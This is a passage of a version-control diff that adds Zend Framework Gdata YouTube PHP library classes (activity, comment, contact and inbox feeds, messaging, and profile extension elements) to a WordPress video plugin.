+        @ini_restore('track_errors');
+
+        if (!$success) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                "Zend_Gdata_YouTube::parseFormUploadTokenResponse - " .
+                "DOMDocument cannot parse XML: $php_errormsg");
+        }
+        $responseElement = $doc->getElementsByTagName('response')->item(0);
+
+        $urlText = null;
+        $tokenText = null;
+        if ($responseElement != null) {
+            $urlElement =
+                $responseElement->getElementsByTagName('url')->item(0);
+            $tokenElement =
+                $responseElement->getElementsByTagName('token')->item(0);
+
+            if ($urlElement && $urlElement->hasChildNodes() &&
+                $tokenElement && $tokenElement->hasChildNodes()) {
+
+                $urlText = $urlElement->firstChild->nodeValue;
+                $tokenText = $tokenElement->firstChild->nodeValue;
+            }
+        }
+
+        if ($tokenText != null && $urlText != null) {
+            return array('token' => $tokenText, 'url' => $urlText);
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                'Form upload token not found in response');
+        }
+    }
+
+    /**
+     * Retrieves a YouTube token
+     *
+     * @param Zend_Gdata_YouTube_VideoEntry $videoEntry The video entry
+     * @param string $url The location as a string URL
+     * @throws Zend_Gdata_App_Exception
+     * @return array An array containing a token and URL
+     */
+    public function getFormUploadToken($videoEntry,
+        $url='http://gdata.youtube.com/action/GetUploadToken')
+    {
+        if ($url != null && is_string($url)) {
+            // $response is a Zend_Http_response object
+            $response = $this->post($videoEntry, $url);
+            return self::parseFormUploadTokenResponse($response->getBody());
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception(
+                'Url must be provided as a string URL');
+        }
+    }
+
+    /**
+     * Retrieves the activity feed for users
+     *
+     * @param mixed $usernames A string identifying the usernames for which to
+     *              retrieve activity for. This can also be a Zend_Gdata_Query
+     *              object from which a URL can be determined.
+     * @throws Zend_Gdata_App_VersionException if using version less than 2.
+     * @return Zend_Gdata_YouTube_ActivityFeed
+     */
+    public function getActivityForUser($username)
+    {
+        if ($this->getMajorProtocolVersion() == 1) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('User activity feeds ' .
+                'are not available in API version 1.');
+        }
+
+        $uri = null;
+        if ($username instanceof Zend_Gdata_Query) {
+            $uri = $username->getQueryUrl();
+        } else {
+            if (count(explode(',', $username)) >
+                self::ACTIVITY_FEED_MAX_USERS) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Activity feed can only retrieve for activity for up to ' .
+                    self::ACTIVITY_FEED_MAX_USERS .  ' users per request');
+            }
+            $uri = self::ACTIVITY_FEED_URI . '?author=' . $username;
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_YouTube_ActivityFeed');
+    }
+
+    /**
+     * Retrieve the activity of the currently authenticated users friend.
+     *
+     * @throws Zend_Gdata_App_Exception if not logged in.
+     * @return Zend_Gdata_YouTube_ActivityFeed
+     */
+    public function getFriendActivityForCurrentUser()
+    {
+        if (!$this->isAuthenticated()) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('You must be authenticated to ' .
+                'use the getFriendActivityForCurrentUser function in Zend_' .
+                'Gdata_YouTube.');
+        }
+        return parent::getFeed(self::FRIEND_ACTIVITY_FEED_URI,
+            'Zend_Gdata_YouTube_ActivityFeed');
+    }
+
+    /**
+     * Retrieve a feed of messages in the currently authenticated user's inbox.
+     *
+     * @throws Zend_Gdata_App_Exception if not logged in.
+     * @return Zend_Gdata_YouTube_InboxFeed|null
+     */
+    public function getInboxFeedForCurrentUser()
+    {
+        if (!$this->isAuthenticated()) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('You must be authenticated to ' .
+                'use the getInboxFeedForCurrentUser function in Zend_' .
+                'Gdata_YouTube.');
+        }
+
+        return parent::getFeed(self::INBOX_FEED_URI,
+            'Zend_Gdata_YouTube_InboxFeed');
+    }
+
+    /**
+     * Send a video message.
+     *
+     * Note: Either a Zend_Gdata_YouTube_VideoEntry or a valid video ID must
+     * be provided.
+     *
+     * @param string $body The body of the message
+     * @param Zend_Gdata_YouTube_VideoEntry (optional) The video entry to send
+     * @param string $videoId The id of the video to send
+     * @param string $recipientUserName The username of the recipient
+     * @throws Zend_Gdata_App_InvalidArgumentException if no valid
+     *         Zend_Gdata_YouTube_VideoEntry or videoId were provided
+     * @return Zend_Gdata_YouTube_InboxEntry|null The
+     *         Zend_Gdata_YouTube_Inbox_Entry representing the sent message.
+     *
+     */
+    public function sendVideoMessage($body, $videoEntry = null,
+        $videoId = null, $recipientUserName)
+    {
+        if (!$videoId && !$videoEntry) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'Expecting either a valid videoID or a videoEntry object in ' .
+                'Zend_Gdata_YouTube->sendVideoMessage().');
+        }
+
+        $messageEntry = new Zend_Gdata_YouTube_InboxEntry();
+
+        if ($this->getMajorProtocolVersion() == null ||
+            $this->getMajorProtocolVersion() == 1) {
+
+            if (!$videoId) {
+                $videoId = $videoEntry->getVideoId();
+            } elseif (strlen($videoId) < 12) {
+                //Append the full URI
+                $videoId = self::VIDEO_URI . '/' . $videoId;
+            }
+
+            $messageEntry->setId($this->newId($videoId));
+            // TODO there seems to be a bug where v1 inbox entries dont
+            // retain their description...
+            $messageEntry->setDescription(
+                new Zend_Gdata_YouTube_Extension_Description($body));
+
+        } else {
+            if (!$videoId) {
+                $videoId = $videoEntry->getVideoId();
+                $videoId = substr($videoId, strrpos($videoId, ':'));
+            }
+            $messageEntry->setId($this->newId($videoId));
+            $messageEntry->setSummary($this->newSummary($body));
+        }
+
+        $insertUrl = 'http://gdata.youtube.com/feeds/api/users/' .
+            $recipientUserName . '/inbox';
+        $response = $this->insertEntry($messageEntry, $insertUrl,
+            'Zend_Gdata_YouTube_InboxEntry');
+        return $response;
+    }
+
+    /**
+     * Post a comment in reply to an existing comment
+     *
+     * @param $commentEntry Zend_Gdata_YouTube_CommentEntry The comment entry
+     *        to reply to
+     * @param $commentText string The text of the comment to post
+     * @return A Zend_Gdata_YouTube_CommentEntry representing the posted
+     *         comment
+     */
+    public function replyToCommentEntry($commentEntry, $commentText)
+    {
+        $newComment = $this->newCommentEntry();
+        $newComment->content = $this->newContent()->setText($commentText);
+        $commentId = $commentEntry->getId();
+        $commentIdArray = explode(':', $commentId);
+
+        // create a new link element
+        $inReplyToLinkHref = self::VIDEO_URI . '/' . $commentIdArray[3] .
+            '/comments/' . $commentIdArray[5];
+        $inReplyToLink = $this->newLink($inReplyToLinkHref,
+            self::IN_REPLY_TO_SCHEME, $type="application/atom+xml");
+        $links = $newComment->getLink();
+        $links[] = $inReplyToLink;
+        $newComment->setLink($links);
+        $commentFeedPostUrl = self::VIDEO_URI . '/' . $commentIdArray[3] .
+            '/comments';
+        return $this->insertEntry($newComment,
+            $commentFeedPostUrl, 'Zend_Gdata_YouTube_CommentEntry');
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityEntry.php	(revision 44)
@@ -0,0 +1,231 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_VideoId
+ */
+require_once 'Zend/Gdata/YouTube/Extension/VideoId.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Username
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Username.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Rating
+ */
+require_once 'Zend/Gdata/Extension/Rating.php';
+
+/**
+ * A concrete class for working with YouTube user activity entries.
+ *
+ * @link http://code.google.com/apis/youtube/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_ActivityEntry extends Zend_Gdata_Entry
+{
+    const ACTIVITY_CATEGORY_SCHEME =
+        'http://gdata.youtube.com/schemas/2007/userevents.cat';
+
+    /**
+     * The classname for individual user activity entry elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_ActivityEntry';
+
+    /**
+     * The ID of the video that was part of the activity
+     *
+     * @var Zend_Gdata_YouTube_VideoId
+     */
+    protected $_videoId = null;
+
+    /**
+     * The username for the user that was part of the activity
+     *
+     * @var Zend_Gdata_YouTube_Username
+     */
+    protected $_username = null;
+
+    /**
+     * The rating element that was part of the activity
+     *
+     * @var Zend_Gdata_Extension_Rating
+     */
+    protected $_rating = null;
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_ActivityEntry object.
+     * @param DOMElement $element (optional) The DOMElement on which to
+     * base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_videoId !== null) {
+          $element->appendChild($this->_videoId->getDOM(
+              $element->ownerDocument));
+        }
+        if ($this->_username !== null) {
+          $element->appendChild($this->_username->getDOM(
+              $element->ownerDocument));
+        }
+        if ($this->_rating !== null) {
+          $element->appendChild($this->_rating->getDOM(
+              $element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('yt') . ':' . 'videoid':
+                $videoId = new Zend_Gdata_YouTube_Extension_VideoId();
+                $videoId->transferFromDOM($child);
+                $this->_videoId = $videoId;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'username':
+                $username = new Zend_Gdata_YouTube_Extension_Username();
+                $username->transferFromDOM($child);
+                $this->_username = $username;
+                break;
+            case $this->lookupNamespace('gd') . ':' . 'rating':
+                $rating = new Zend_Gdata_Extension_Rating();
+                $rating->transferFromDOM($child);
+                $this->_rating = $rating;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Returns the video ID for this activity entry.
+     *
+     * @return null|Zend_Gdata_YouTube_Extension_VideoId
+     */
+    public function getVideoId()
+    {
+        return $this->_videoId;
+    }
+
+    /**
+     * Returns the username for this activity entry.
+     *
+     * @return null|Zend_Gdata_YouTube_Extension_Username
+     */
+    public function getUsername()
+    {
+        return $this->_username;
+    }
+
+    /**
+     * Returns the rating for this activity entry.
+     *
+     * @return null|Zend_Gdata_YouTube_Extension_Rating
+     */
+    public function getRating()
+    {
+        return $this->_rating;
+    }
+
+    /**
+     * Return the value of the rating for this video entry.
+     *
+     * Convenience method to save needless typing.
+     *
+     * @return integer|null The value of the rating that was created, if found.
+     */
+    public function getRatingValue()
+    {
+        $rating = $this->_rating;
+        if ($rating) {
+            return $rating->getValue();
+        }
+        return null;
+    }
+
+    /**
+     * Return the activity type that was performed.
+     *
+     * Convenience method that inspects category where scheme is
+     * http://gdata.youtube.com/schemas/2007/userevents.cat.
+     *
+     * @return string|null The activity category if found.
+     */
+    public function getActivityType()
+    {
+        $categories = $this->getCategory();
+        foreach($categories as $category) {
+            if ($category->getScheme() == self::ACTIVITY_CATEGORY_SCHEME) {
+                return $category->getTerm();
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Convenience method to quickly get access to the author of the activity
+     *
+     * @return string The author of the activity
+     */
+    public function getAuthorName()
+    {
+        $authors = $this->getAuthor();
+        return $authors[0]->getName()->getText();
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ActivityFeed.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_ActivityEntry
+ */
+require_once 'Zend/Gdata/YouTube/ActivityEntry.php';
+
+/**
+ * A feed of user activity entries for YouTube
+ *
+ * @link http://code.google.com/apis/youtube/
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_ActivityFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_ActivityEntry';
+
+    /**
+     * Creates an Activity feed, representing a list of activity entries
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentEntry.php	(revision 44)
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * The YouTube comments flavor of an Atom Entry 
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_CommentEntry extends Zend_Gdata_Entry
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_CommentEntry';
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_CommentEntry object.
+     * @param DOMElement $element (optional) The DOMElement on which to
+     * base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/CommentFeed.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_CommentEntry
+ */
+require_once 'Zend/Gdata/YouTube/CommentEntry.php';
+
+/**
+ * The YouTube comments flavor of an Atom Feed
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_CommentFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_CommentEntry';
+
+    /**
+     * Constructs a new YouTube Comment Feed object, to represent
+     * a feed of comments for an individual video
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactEntry.php	(revision 44)
@@ -0,0 +1,135 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_YouTube_UserProfileEntry
+ */
+require_once 'Zend/Gdata/YouTube/UserProfileEntry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Status
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Status.php';
+
+/**
+ * The YouTube contacts flavor of an Atom Entry with media support
+ * Represents a an individual contact
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_ContactEntry extends Zend_Gdata_YouTube_UserProfileEntry
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_ContactEntry';
+
+    /**
+     * Status of the user as a contact
+     *
+     * @var string
+     */
+    protected $_status = null;
+
+    /**
+     * Constructs a new Contact Entry object, to represent
+     * an individual contact for a user
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_status != null) {
+            $element->appendChild($this->_status->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'status':
+            $status = new Zend_Gdata_YouTube_Extension_Status();
+            $status->transferFromDOM($child);
+            $this->_status = $status;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Sets the status
+     *
+     * @param Zend_Gdata_YouTube_Extension_Status $status The status
+     * @return Zend_Gdata_YouTube_ContactEntry Provides a fluent interface
+     */
+    public function setStatus($status = null)
+    {
+        $this->_status = $status;
+        return $this;
+    }
+
+    /**
+     * Returns the status
+     *
+     * @return Zend_Gdata_YouTube_Extension_Status  The status
+     */
+    public function getStatus()
+    {
+        return $this->_status;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/ContactFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_ContactEntry
+ */
+require_once 'Zend/Gdata/YouTube/ContactEntry.php';
+
+/**
+ * The YouTube contacts flavor of an Atom Feed with media support
+ * Represents a list of individual contacts, where each contained entry is
+ * a contact.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_ContactFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_ContactEntry';
+
+    /**
+     * Constructs a new YouTube Contact Feed object, to represent
+     * a feed of contacts for a user
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/AboutMe.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/AboutMe.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/AboutMe.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:aboutMe element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_AboutMe extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'aboutMe';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Age.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Age.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Age.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:age element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Age extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'age';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Books.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Books.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Books.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
